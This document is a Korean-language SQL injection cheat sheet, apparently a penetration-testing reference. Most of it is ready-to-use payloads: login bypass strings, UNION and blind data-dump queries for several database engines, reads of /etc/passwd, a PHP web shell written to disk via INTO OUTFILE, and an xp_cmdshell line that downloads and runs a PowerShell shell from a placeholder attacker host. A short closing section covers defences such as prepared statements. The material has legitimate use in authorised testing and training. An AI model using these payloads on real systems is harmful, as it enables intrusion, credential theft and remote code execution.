SQL Injection
SQL Injection 공격 기법 종합 가이드입니다.
기본 개념
SQL Injection은 사용자 입력을 적절히 검증하지 않아 악의적인 SQL 쿼리가 실행되는 취약점입니다.
탐지
기본 테스트 문자
'
"
`
')
")
`)
'))
"))
`))
';#--- # 모든 곳에 시도!
Error-Based 탐지
'
"
' OR '1'='1
" OR "1"="1
' AND '1'='2
인증 우회
마스터 리스트
';#---
admin' or '1'='1
' or '1'='1
" or "1"="1
" or "1"="1"--
" or "1"="1"/*
" or "1"="1"#
" or 1=1
" or 1=1 --
" or 1=1--
" or 1=1/*
" or 1=1#
") or "1"="1
") or "1"="1"--
") or "1"="1"/*
") or "1"="1"#
") or ("1"="1
") or ("1"="1"--
") or ("1"="1"/*
") or ("1"="1"#
추가 페이로드
'-'
' '
'&'
'^'
'*'
' or 1=1 limit 1 -- -+
'="or'
' or ''-'
' or '' '
' or ''&'
' or ''^'
' or ''*'
'-||0'
"-||0"
' || '1'='1';-- -
"-"
" "
"&"
"^"
"*"
'--'
"--"
" or ""-"
" or "" "
" or ""&"
" or ""^"
" or ""*"
or true--
" or true--
' or true--
") or true--
') or true--
' or 'x'='x
') or ('x')=('x
')) or (('x'))=(('x
" or "x"="x
") or ("x")=("x
")) or (("x"))=(("x
or 2 like 2
or 1=1
or 1=1--
or 1=1#
or 1=1/*
admin' --
admin' -- -
admin' #
admin'/*
admin' or '2' LIKE '1
admin' or 2 LIKE 2--
admin' or 2 LIKE 2#
admin') or 2 LIKE 2#
admin') or 2 LIKE 2--
admin') or ('2' LIKE '2
admin') or ('2' LIKE '2'#
admin') or ('2' LIKE '2'/*
admin' or '1'='1
admin' or '1'='1'--
admin' or '1'='1'#
admin' or '1'='1'/*
admin'or 1=1 or ''='
admin' or 1=1
admin' or 1=1--
admin' or 1=1#
admin' or 1=1/*
admin') or ('1'='1
admin') or ('1'='1'--
admin') or ('1'='1'#
admin') or ('1'='1'/*
admin') or '1'='1
admin') or '1'='1'--
admin') or '1'='1'#
admin') or '1'='1'/*
MySQL/MariaDB Injection
컬럼 수 찾기
' ORDER BY 1--
' ORDER BY 2--
' ORDER BY 3--
-1 order by 3;#
버전 확인
-1 UNION SELECT 1,2,version();#
' UNION SELECT null,version(),null--
데이터베이스 이름
-1 UNION SELECT 1,2,database();#
' UNION SELECT null,database(),null--
테이블 이름
-1 UNION SELECT 1,2,group_concat(table_name) FROM information_schema.tables WHERE table_schema=database();#
' UNION SELECT null,group_concat(table_name),null FROM information_schema.tables WHERE table_schema=database()--
컬럼 이름
-1 UNION SELECT 1,2,group_concat(column_name) FROM information_schema.columns WHERE table_schema=database() AND table_name='<TABLE>';#
' UNION SELECT null,group_concat(column_name),null FROM information_schema.columns WHERE table_name='users'--
데이터 덤프
-1 UNION SELECT 1,2,group_concat(<COLUMN>) FROM <DATABASE>.<TABLE>;#
' UNION SELECT null,group_concat(username,':',password),null FROM users--
파일 읽기
' UNION SELECT null,LOAD_FILE('/etc/passwd'),null--
SELECT LOAD_FILE('/etc/passwd')
웹셸 작성
' UNION SELECT "<?php system($_GET['cmd']);?>",null,null,null,null INTO OUTFILE "/var/www/html/shell.php"--
SELECT "<?php system($_GET['cmd']);?>" INTO OUTFILE "/var/www/html/shell.php";
MSSQL Injection
인증 우회
' or 1=1--
admin' or 1=1--
Time-Based
' SELECT @@version; WAITFOR DELAY '00:00:10'; --
'; IF (1=1) WAITFOR DELAY '0:0:5'--
xp_cmdshell 활성화
' UNION SELECT 1,null; EXEC sp_configure 'show advanced options',1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE;--
RCE
' exec xp_cmdshell "powershell IEX (New-Object Net.WebClient).DownloadString('http://<LHOST>/shell.ps1')" ;--
'; EXEC xp_cmdshell 'whoami'--
Oracle SQL Injection
인증 우회
' or 1=1--
admin' or '1'='1'--
컬럼 수 찾기
' ORDER BY 3--
테이블 이름
' UNION SELECT null,table_name,null FROM all_tables--
컬럼 이름
' UNION SELECT null,column_name,null FROM all_tab_columns WHERE table_name='<TABLE>'--
데이터 덤프
' UNION SELECT null,PASSWORD||USER_ID||USER_NAME,null FROM WEB_USERS--
SQLite Injection
테이블 이름 추출
' UNION SELECT 1,2,3,group_concat(tbl_name),4 FROM sqlite_master WHERE type='table' AND tbl_name NOT LIKE 'sqlite_%'--
http://<RHOST>/index.php?id=-1 union select 1,2,3,group_concat(tbl_name),4 FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%'--
데이터 추출
' UNION SELECT 1,2,3,group_concat(password),5 FROM users--
http://<RHOST>/index.php?id=-1 union select 1,2,3,group_concat(password),5 FROM users--
PostgreSQL Injection
버전 확인
' UNION SELECT null,version(),null--
테이블 이름
' UNION SELECT null,string_agg(tablename,','),null FROM pg_tables WHERE schemaname='public'--
파일 읽기
'; SELECT pg_read_file('/etc/passwd',0,1000000)--
' UNION SELECT null,pg_read_file('/etc/passwd',0,1000000),null--
Error-Based SQL Injection
MySQL
' AND extractvalue(0x0a,concat(0x0a,database()))--
' AND extractvalue(0x0a,concat(0x0a,(SELECT user())))--
' OR 1=1 IN (SELECT @@version)--
' OR 1=1 IN (SELECT * FROM users)--
' OR 1=1 IN (SELECT password FROM users)--
' OR 1=1 IN (SELECT password FROM users WHERE username = 'admin')--
MSSQL
' AND 1=CONVERT(INT,(SELECT @@version))--
UNION-Based SQL Injection
수동 공격 단계
# 1. 컬럼 수 찾기
' ORDER BY 1--
' ORDER BY 2--
...
# 2. UNION으로 데이터베이스 정보 확인
' UNION SELECT null,database(),user(),@@version,null--
# 3. 테이블 및 컬럼 열거
' UNION SELECT null,table_name,column_name,table_schema,null FROM information_schema.columns WHERE table_schema=database()--
# 4. 데이터 덤프
' UNION SELECT null,username,password,description,null FROM users--
Blind SQL Injection
Boolean-Based
' AND 1=1-- # True
' AND 1=2-- # False
' AND substring(database(),1,1)='a'--
' AND substring((SELECT password FROM users WHERE username='admin'),1,1)='a'--
Time-Based
MySQL
' AND SLEEP(5)--
' OR IF(1=1,SLEEP(5),0)--
1' AND (SELECT * FROM (SELECT(SLEEP(5)))a)--
MSSQL
'; WAITFOR DELAY '0:0:5'--
'; IF (1=1) WAITFOR DELAY '0:0:5'--
PostgreSQL
'; SELECT pg_sleep(5)--
' AND (SELECT 1 FROM pg_sleep(5))--
Second-Order SQL Injection
악의적인 입력을 데이터베이스에 저장한 후, 나중에 다른 쿼리에서 사용될 때 발생:
# 1. 등록 시 (저장됨)
username: admin'--
# 2. 나중에 비밀번호 변경 쿼리에서:
UPDATE users SET password='newpass' WHERE username='admin'--'
NoSQL Injection (참고)
MongoDB
{"username": {"$ne": null}, "password": {"$ne": null}}
{"username": {"$regex": ".*"}, "password": {"$regex": ".*"}}
admin' || ''=='
방어 기법
Prepared Statements
// PHP PDO
$stmt = $pdo->prepare('SELECT * FROM users WHERE username = ? AND password = ?');
$stmt->execute([$username, $password]);
Input Validation
- 화이트리스트 검증
- 특수문자 이스케이프
- 타입 체크
최소 권한 원칙
- DB 사용자에게 필요한 최소 권한만 부여
- 읽기 전용 계정 사용
도구
- sqlmap: 자동화된 SQL Injection 도구
- Burp Suite: Manual testing
- Havij: GUI 기반 도구
참고
- 모든 사용자 입력은 잠재적으로 악의적
- Prepared Statements가 가장 안전
--,#,/**/는 주석 처리- 에러 메시지를 통한 정보 수집 가능
- Blind Injection은 시간이 오래 걸림
- Second-Order Injection은 탐지가 어려움